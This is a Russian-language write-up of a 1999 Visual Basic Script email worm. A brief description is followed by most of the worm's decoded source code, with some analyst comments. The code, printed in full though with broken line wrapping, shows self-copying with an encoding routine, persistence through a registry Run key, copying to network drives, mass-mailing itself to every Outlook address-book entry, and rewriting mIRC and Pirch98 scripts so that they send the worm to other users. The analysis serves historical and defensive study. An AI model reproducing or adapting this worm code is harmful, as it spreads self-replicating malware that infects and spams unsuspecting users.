Первые признаки активности данного вируса были замечены
в июле 1999 г. Сам вирус представляет собой шифрованного червя,
который работоспособен под windows98, windows2000 и всем орстальным,
поддерживающим Visual Basic Script's. После активации червя, он
использует MS Outlook для рассылки почты с аттачментом в виде вебя.
Подобно мелиссе, данная гадость использует вызовы MAPI для получения
адресной книги MS Outlook. Содержание почты, генериремой вирусом,
выглядит примерно так:
Subject: Check this
Have fun with these links. Bye.
После пуска будут созданы следующие файлы :
C:\WINDOWS\LINKS.VBS C:\WINDOWS\SYSTEM\RUNDLL.VBS
Так же будет создан файл links.vbs в корне всех подключённых
сетевых дисков. Далее, вирус сделает ключ в реестре, который будет
запускать его при каждом последующем старте windows. После всех
этих действий, вирус выведет сообщение :
This will add a shortcut to free XXX links on your desktop. Do
you want to continue.
Если нажата кнопка YES, то на рабочем столе будет создан shortcut
на порносайт.
Так же вирус ищет Mirc32.exe и pirch98.exe в каталогах C:\MIRC
, C:\PIRCH98, C:\PROGRAM FILES и поддиректориях последнего. Программа
ищет файлы scripts.ini, events.ini. Затем туда пишется скрипт,
рассылающий links.vbs другим людям во время сессий irc.
Ниже приводится декодированный (неактивный) вирус на VBS:
On Error Resume Next
Set A1 = CreateObject("Scripting.FileSystemObject")
Set A2 = A1.OpenTextFile(WScript.ScriptFullName,1)
Do While A2.AtEndOfStream = False And Mid(A3,40,10)
<> "`sd]Lhbsnr"
A3 = A2.ReadLine ' this will be the regwrite line
Loop
A2.Close
Set A4 =
A1.CreateTextFile(A1.BuildPath
(A1.GetSpecialFolder(1),"RUNDLL.VBS",True)
'
'
' Start A4.Writeline decoded mess
'
' Essentially of of these where wrappered in
' A4.WriteLine(), and would be
' written to
' A4 (text file opened above)
'
' Note that spacing and comments are my own
'
' ---------------------
' Being child script
'
On Error Resume Next
Set A1 = CreateObject("Scripting.FileSystemObject")
Set A2 = A1.OpenTextFile(WScript.ScriptFullName,1)
Do While A2.AtEndOfStream =
False And Mid(A3,43,10) <> "f[Njdqptpe"
A3 = A2.ReadLine
Loop
A2.Close
Set A4 =
A1.CreateTextFile(A1.BuildPath
(A1.GetSpecialFolder(0),"LINKS.VBS"),True)
' A4 is going to reconstruct the
original doc
A4.WriteLine("On Error Resume
Next")
A4.WriteLine("Set A1 =
CreateObject(""Scripting.FileSystemObject"")")
A4.WriteLine("Set A2 =
A1.OpenTextFile(WScript.ScriptFullName,1)")
A4.WriteLine("Do While A2.AtEndOfStream
= False And Mid(A3,40,10) <>
""`sd]Lhbsnr""")
A4.WriteLine("A3 = A2.ReadLine")
A4.WriteLine("Loop")
A4.WriteLine("A2.Close")
A4.WriteLine("Set A4 =
A1.CreateTextFile(A1.BuildPath(A1.
GetSpecialFolder(1),""RUNDLL.VBS"",True)")
Set A5 = A1.OpenTextFile(WScript.ScriptFullName,1)
Do While A5.AtEndOfStream = False
A4.WriteLine("A4.WriteLine(B(""" &
C(Replace(A5.ReadLine, """","""""")
&
"""))")
Loop ' re-encode ourselves and put us back
A5.Close
'
' ---------------------------------
' Write this to the end of A4 (sub-sub script)
'
A4.Close
Set A5 = CreateObject("WScript.Shell")
A5.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
\CurrentVersion\Run\Rundll",A1.BuildPath(
A1.GetSpecialFolder(1),"RUNDLL.VBS")
If MsgBox("This will add a shortcut
to free
XXX links on your desktop. Do
you want to continue?",36,"Free XXX links") = 6
Then
Set A6 =
A1.CreateTextFile(A1.BuildPath(A5.SpecialFolders("Desktop"),
"FREE XXX
LINKS.URL",True)
A6.WriteLine("[InternetShortcut]")
A6.WriteLine("URL=http://www.sublimedirectory.com/")
A6.Close
End If
Set A7 = CreateObject("WScript.Network")
Set A8 = A7.EnumNetworkDrives
If A8.Count <> 0 Then
For A9 = 0 To A8.Count - 1
If InStr(A8.Item(A9),B("]]")) <> 0 Then
A1.CopyFile WScript.ScriptFullName,
A1.BuildPath(A8.Item(A9),"LINKS.VBS")
End If
Next
End If
Set A10 = CreateObject("Outlook.Application")
Set A11 = A10.GetNameSpace("MAPI")
For Each A12 In A11.AddressLists
Set A13 = A10.CreateItem(0)
For A14 = 1 To A12.AddressEntries.Count
Set A15 = A12.AddressEntries(A14)
If A14 = 1 Then
A13.BCC = A15.Address
Else
A13.BCC = A13.BCC & ";" & A15.Address
End If
Next
A13.Subject = "Check this"
A13.Body = "Have fun with these links."
& Chr(13) & Chr(10) & "Bye."
A13.Attachments.Add WScript.ScriptFullName
A13.DeleteAfterSubmit = True
A13.Send
Next
Function B(B1) ' was the decode function
For B2 = 1 To Len(B1)
If Asc(Mid(B1,B2,1)) <> 34 And
Asc(Mid(B1,B2,1)) <> 35 And
Asc(Mid(B1,B2,1)) <> 126 Then
If Asc(Mid(B1,B2,1)) Mod 2 = 0 Then
B = B & Chr(Asc(Mid(B1,B2,1)) +
Right(Asc(Mid(A3,70,1)) + 1,1))
Else
B = B & Chr(Asc(Mid(B1,B2,1)) -
Right(Asc(Mid(A3,70,1)) + 1,1))
End If
Else
B = B & Mid(B1,B2,1)
End If
Next
End Function
'
' End crap written to A4 (sub-sub script
' to create original)
'
--------------------
A4.Close
' this attempts to infect IRC script
' files found on all drives
For Each A6 In A1.Drives
If A6.DriveType = 2 Then
D A6.DriveLetter & ":\MIRC"
D A6.DriveLetter & ":\PIRCH98"
End If
Next
Set A7 = CreateObject("WScript.Shell")
D
A7.RegRead("HKEY_LOCAL_MACHINE\Software\
Microsoft\Windows\CurrentVersion\ProgramFilesDir")
Function B(B1) ' function to decode
For B2 = 1 To Len(B1)
If Asc(Mid(B1,B2,1)) <> 32 And Asc(Mid(B1,B2,1))
<> 33 And
Asc(Mid(B1,B2,1)) <> 34 And Asc(Mid(B1,B2,1))
<> 160 And Asc(Mid(B1,B2,1))
<> 255 Then
If Asc(Mid(B1,B2,1)) Mod 2 = 0 Then
B = B & Chr(Asc(Mid(B1,B2,1)) -
Right(Asc(Mid(A3,8,1)) - 2,1))
Else
B = B & Chr(Asc(Mid(B1,B2,1)) +
Right(Asc(Mid(A3,8,1)) - 2,1))
End If
Else
B = B & Mid(B1,B2,1)
End If
Next
End Function
Function C(C1) ' function to encode
For C2 = 1 To Len(C1)
If Asc(Mid(C1,C2,1)) <> 34 And
Asc(Mid(C1,C2,1)) <> 35 And
Asc(Mid(C1,C2,1)) <> 126 Then
If Asc(Mid(C1,C2,1)) Mod 2 = 0 Then
C = C & Chr(Asc(Mid(C1,C2,1)) +
Right(Asc(Mid(A3,18,1)) + 5,1))
Else
C = C & Chr(Asc(Mid(C1,C2,1)) -
Right(Asc(Mid(A3,18,1)) + 5,1))
End If
Else
C = C & Mid(C1,C2,1)
End If
Next
End Function
Sub D(D1) ' infect IRC scripts
If A1.FolderExists(D1) = True Then
For Each D2 In A1.GetFolder(D1).Files
If UCase(D2.Name) = "MIRC32.EXE" Then
Set D3 =
A1.CreateTextFile(A1.BuildPath(D2.ParentFolder,
"SCRIPT.INI"),True)
D3.WriteLine("[script]")
D3.WriteLine("n0=on 1:join:#:if $me !=
$nick dcc send $nick") &
A1.BuildPath(A1.GetSpecialFolder(0),
"LINKS.VBS"))
D3.Close
End If
If UCase(D2.Name) = "PIRCH98.EXE" Then
Set D4 = A1.CreateTextFile(A1.BuildPath(D2.ParentFolder,
"EVENTS.INI"),True)
'
' Printed decoded output to D4 (Pirch98's events.ini)
'
[Levels]
Enabled=1
Count=6
Level1=000-Unknowns
000-UnknownsEnabled=1
Level2=100-Level 100
100-Level 100Enabled=1
Level3=200-Level 200
200-Level 200Enabled=1
Level4=300-Level 300
300-Level 300Enabled=1
Level5=400-Level 400
400-Level 400Enabled=1
Level6=500-Level 500
500-Level 500Enabled=1
[000-Unknowns]
User1=*!*@*
UserCount=1
'
' Notice code here
'
D4.WriteLine("Event1=ON JOIN:#:/dcc
send $nick " &
A1.BuildPath(A1.GetSpecialFolder(0),"LINKS.VBS"))
'
'
'
EventCount=1
[100-Level 100]
UserCount=0
EventCount=0
[200-Level 200]
UserCount=0
EventCount=0
[300-Level 300]
UserCount=0
EventCount=0
[400-Level 400]
UserCount=0
EventCount=0
[500-Level 500]
UserCount=0
EventCount=0
'
' End decoded output to A1
'
D4.Close
End If
Next
For Each D5 In A1.GetFolder(D1).SubFolders
D D5.Path
Next
End If
End Sub
'
' End child script
'
----------------------------
'
A4.Close
Set A5 = CreateObject("WScript.Shell")
A5.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
\CurrentVersion\Run\Rundll",A1.BuildPath(
A1.GetSpecialFolder(1),"RUNDLL.VBS")
If MsgBox("This will add a shortcut
to free
XXX links on your desktop. Do
you want to continue?",36,"Free XXX links") = 6
Then
Set A6 =
A1.CreateTextFile(A1.BuildPath(A5.
SpecialFolders("Desktop"),"FREE XXX
LINKS.URL",True)
A6.WriteLine("[InternetShortcut]")
A6.WriteLine("URL=http://www.sublimedirectory.com/")
A6.Close
End If
Set A7 = CreateObject("WScript.Network")
Set A8 = A7.EnumNetworkDrives
If A8.Count <> 0 Then
For A9 = 0 To A8.Count - 1
If InStr(A8.Item(A9),"\\") <> 0 Then
A1.CopyFile WScript.ScriptFullName,
A1.BuildPath(A8.Item(A9),"LINKS.VBS")
End If
Next
End If
Set A10 = CreateObject("Outlook.Application")
Set A11 = A10.GetNameSpace("MAPI")
For Each A12 In A11.AddressLists
Set A13 = A10.CreateItem(0)
For A14 = 1 To A12.AddressEntries.Count
Set A15 = A12.AddressEntries(A14)
If A14 = 1 Then
A13.BCC = A15.Address
Else
A13.BCC = A13.BCC & ";" & A15.Address
End If
Next
A13.Subject = "Check this"
A13.Body = "Have fun with these links."
& Chr(13) & Chr(10) & "Bye."
A13.Attachments.Add WScript.ScriptFullName
A13.DeleteAfterSubmit = True
A13.Send
Next
Function B(B1) ' was the decode function
For B2 = 1 To Len(B1)
If Asc(Mid(B1,B2,1)) <> 34 And
Asc(Mid(B1,B2,1)) <> 35 And
Asc(Mid(B1,B2,1)) <> 126 Then
If Asc(Mid(B1,B2,1)) Mod 2 = 0 Then
B = B & Chr(Asc(Mid(B1,B2,1)) +
Right(Asc(Mid(A3,70,1)) + 1,1))
Else
B = B & Chr(Asc(Mid(B1,B2,1)) -
Right(Asc(Mid(A3,70,1)) + 1,1))
End If
Else
B = B & Mid(B1,B2,1)
End If
Next
End Function
